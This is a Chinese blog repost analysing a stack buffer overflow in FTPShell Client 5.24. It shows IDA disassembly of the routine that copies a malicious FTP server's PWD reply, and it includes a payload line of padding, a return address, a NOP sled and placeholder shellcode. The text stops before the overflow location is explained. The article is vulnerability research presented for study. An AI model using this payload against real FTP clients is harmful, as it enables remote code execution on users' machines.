一次与缓冲区溢出的亲密接触
作者:网友投稿 时间:2018-06-20 09:24
字号
这是一个简单的缓冲区溢出的漏洞,今天没事,来分析一下看看他溢出的原因,最后通过平衡堆栈的方式,让目标程序执行shellcode使程序不crash。只是用来研究和学习。
测试软件名称及版本FTPShell Client 5.24
下载地址:https://pan.baidu.com/s/1IHOfx0IQQOpuTs55f-T-aQ
密码:qvo4
用到的工具- IDA 6.8
- winxp sp3 32位虚拟机
测试漏洞1、起一个ftp服务器,打开21端口。
2、等待客户端连接后,向客户方发送PWD的数据
3、ftp客户端收到服务器发送的PWD数据后,会crash
服务器给客户端发送的数据:buffer = "A" * 400 + target_eip + "\x90" * 40 + shellcode sks.send('257 "' + buffer + '" is current directory\r\n')
远程注入代码前后的流程图对比:

这个call的主要功能键就是读取服务器发送来的数据到buffer
.text:0044D010 8D 95 6C FE FF FF lea edx, [ebp+var_194] .text:0044D016 52 push edx .text:0044D017 56 push esi .text:0044D018 53 push ebx .text:0044D019 E8 E6 12 00 00 call read_server_string_to_buffer ;读取服务器发来的buffer .text:0044D019 ; success = 0 ; .text:0044D019 ; fail = 1; no_server_data .text:0044D01E 83 C4 0C add esp, 0Ch .text:0044D021 85 C0 test eax, eax .text:0044D023 75 34 jnz short loc_44D059程序分配栈的大小
进入read_server_string_to_buffer这个call,我们看看分配栈的大小为0×408
.text:0044E304 55 push ebp .text:0044E305 8B EC mov ebp, esp .text:0044E307 81 C4 F8 FB FF FF add esp, -408h ; 分配local栈的大小 .text:0044E30D 53 push ebx .text:0044E30E 56 push esi .text:0044E30F 57 push edi .text:0044E310 8D 75 FC lea esi, [ebp+var_4] .text:0044E313 8B 45 0C mov eax, [ebp+arg_4] .text:0044E316 8B 7D 08 mov edi, [ebp+arg_0] .text:0044E319 8B 98 9C 05 00 00 mov ebx, [eax+59Ch] ; 收到server发来的buffer指针 .text:0044E31F 85 DB test ebx, ebx .text:0044E321 0F 84 3B 01 00 00 jz no_server_data溢出的位置
责任编辑:CQITer新闻报料:400-888-8888 本站原创,未经授权不得转载
继续阅读



